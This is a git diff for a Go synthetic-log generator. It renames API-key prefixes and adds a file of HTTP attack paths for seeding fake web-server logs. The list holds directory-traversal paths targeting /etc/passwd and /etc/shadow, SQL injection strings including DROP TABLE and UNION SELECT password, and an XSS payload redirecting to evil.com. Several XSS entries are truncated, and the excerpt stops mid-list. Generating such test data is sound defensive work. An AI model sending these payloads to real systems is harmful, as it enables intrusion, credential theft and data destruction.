diff --git a/internal/generator/logtypes/pii.go b/internal/generator/logtypes/pii.go
index 2b94679..187554a 100644
--- a/internal/generator/logtypes/pii.go
+++ b/internal/generator/logtypes/pii.go
@@ -346,7 +346,7 @@ func generatePasswordHash(r *rand.Rand) string {
// generateAPIKey generates a random API key
func generateAPIKey(r *rand.Rand) string {
- prefixes := []string{"api_key_", "secret_", "token_", "key_", "apikey_"}
+ prefixes := []string{"apikey_", "secret_", "token_", "key_", "access_key_"}
prefix := prefixes[r.Intn(len(prefixes))]
chars := "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
key := prefix
diff --git a/internal/generator/security/paths.go b/internal/generator/security/paths.go
new file mode 100644
index 0000000..81f0e92
--- /dev/null
+++ b/internal/generator/security/paths.go
@@ -0,0 +1,99 @@
+package security
+
+import "math/rand"
+
+// AttackPaths contains common HTTP attack patterns used across web server log generators.
+var AttackPaths = []string{
+ // Directory traversal attacks
+ "/../../etc/passwd",
+ "/..%2f..%2f..%2fetc/passwd",
+ "/....//....//....//etc/shadow",
+ "/api/v1/files?path=../../../etc/passwd",
+ "/download?file=....//....//....//etc/hosts",
+ "/static/..%252f..%252f..%252fetc/passwd",
+
+ // SQL injection attempts
+ "/api/v1/users?id=1'%20OR%20'1'='1",
+ "/api/v1/search?q=';DROP%20TABLE%20users;--",
+ "/api/v1/login?user=admin'--&pass=x",
+ "/api/v1/products?category=1%20UNION%20SELECT%20password%20FROM%20users",
+ "/api/v1/orders?id=1;%20WAITFOR%20DELAY%20'00:00:10'",
+ "/api/v1/accounts?name='+OR+1=1--",
+
+ // XSS attempts
+ "/search?q=",
+ "/api/v1/comments?text=%3Cscript%3Edocument.location='http://evil.com/'%3C/script%3E",
+ "/profile?name=
",
+ "/api/v1/feedback?msg=